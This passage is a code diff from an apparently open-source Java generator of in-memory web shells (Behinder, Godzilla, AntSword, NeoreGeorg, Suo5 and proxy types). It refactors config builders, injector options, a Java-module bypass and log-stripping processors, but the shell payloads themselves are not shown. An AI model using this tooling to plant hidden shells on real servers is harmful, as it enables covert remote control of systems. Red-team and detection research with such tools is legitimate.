public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -5,6 +5,7 @@ import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -14,15 +15,69 @@ import lombok.experimental.SuperBuilder;
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
/**
* 接收参数的请求头或请求参数名称
*/
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
/**
* 实现类
*/
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) {
if (StringUtils.isNotBlank(paramName)) {
paramName$value = paramName;
paramName$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
public enum ImplementationClass { public enum ImplementationClass {
RuntimeExec, ForkAndExec; RuntimeExec, ForkAndExec;
@@ -36,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B key(final String key) {
if (StringUtils.isNotBlank(key)) {
this.key$value = key;
key$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -16,34 +16,46 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
private boolean staticInitialize;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
private String headerName = "Referer"; private String headerName = "Referer";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -0,0 +1,38 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
@@ -31,7 +30,7 @@ public class ShellConfig {
/** /**
* 内存马功能 * 内存马功能
*/ */
private ShellTool shellTool; private String shellTool;
/** /**
* 内存马类型 * 内存马类型
@@ -56,19 +55,36 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean debug = false; private boolean debug = false;
/**
* 是否使用回显模式
*/
@Builder.Default
private boolean probe = false;
/** /**
* 是否启用缩小字节码 * 是否启用缩小字节码
*/ */
@Builder.Default @Builder.Default
private boolean shrink = false; private boolean shrink = false;
/**
* 追加 Lambda 类名后缀
*/
@Builder.Default
private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA); return jakarta || shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -1,16 +1,18 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import net.bytebuddy.description.type.TypeDescription;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Data @Data
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public class ShellToolConfig { public class ShellToolConfig {
@@ -19,6 +21,9 @@ public class ShellToolConfig {
*/ */
private Class<?> shellClass; private Class<?> shellClass;
@JsonIgnore
private transient TypeDescription shellTypeDescription;
/** /**
* shellClass 的类名 * shellClass 的类名
*/ */
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,19 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.AntSwordConfig; import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
super(shellConfig, shellToolConfig); super(shellConfig, shellToolConfig);
} }
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { @Override
public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
return builder.field(named("pass")).value(md5Key) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -1,16 +1,11 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
/** /**
@@ -26,38 +21,33 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
this.shellToolConfig = shellToolConfig; this.shellToolConfig = shellToolConfig;
} }
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder); protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName(); String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy() Class<?> shellClass = shellToolConfig.getShellClass();
.redefine(shellClass)
if (shellClass != null) {
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
}
if (shellToolConfig.getShellTypeDescription() == null) {
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
}
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
.name(shellClassName) .name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); byte[] bytes = postProcessBytes(unloaded.getBytes());
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
} }
} }
} }
@@ -1,10 +1,13 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.Base64; import java.util.Base64;
@@ -13,21 +16,31 @@ import java.util.Base64;
* @author ReaJason * @author ReaJason
* @since 2025/3/18 * @since 2025/3/18
*/ */
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> { public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig); super(shellConfig, customConfig);
} }
@Override @Override
public byte[] getBytes() { protected DynamicType.Builder<?> getBuilder() {
String shellClassBase64 = shellToolConfig.getShellClassBase64(); String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new GenerationException("Custom shell class is empty");
}
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName()); ClassReader classReader = new ClassReader(classBytes);
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
}
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
ClassFileLocator.Simple.of(className, classBytes),
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
);
TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), compoundLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve();
shellToolConfig.setShellTypeDescription(typeDescription);
return new ByteBuddy()
.redefine(typeDescription, compoundLocator);
} }
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase(); String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("key")).value(md5Key) .field(named("key")).value(md5Key)
.field(named("md5")).value(md5) .field(named("md5")).value(md5)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
@@ -48,6 +49,12 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
@@ -59,6 +66,10 @@ public class InjectorGenerator {
if (shellConfig.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = StaticBlockSelfConstructorCall.extend(builder);
}
return builder; return builder;
} }
@@ -1,42 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty();
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig; import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
} }
@@ -0,0 +1,12 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/12/7
*/
public interface Processor<T> {
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
}
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.processors.*;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Arrays;
import java.util.List;
/**
* @author ReaJason
* @since 2025/12/7
*/
public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(),
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
private ProcessorRegistry() {
// Prevent instantiation
}
public static DynamicType.Builder<?> applyBuilderProcessors(
DynamicType.Builder<?> builder,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
builder = processor.process(builder, shellConfig, shellToolConfig);
}
return builder;
}
public static byte[] applyByteProcessors(
byte[] bytes,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
bytes = processor.process(bytes, shellConfig, shellToolConfig);
}
return bytes;
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
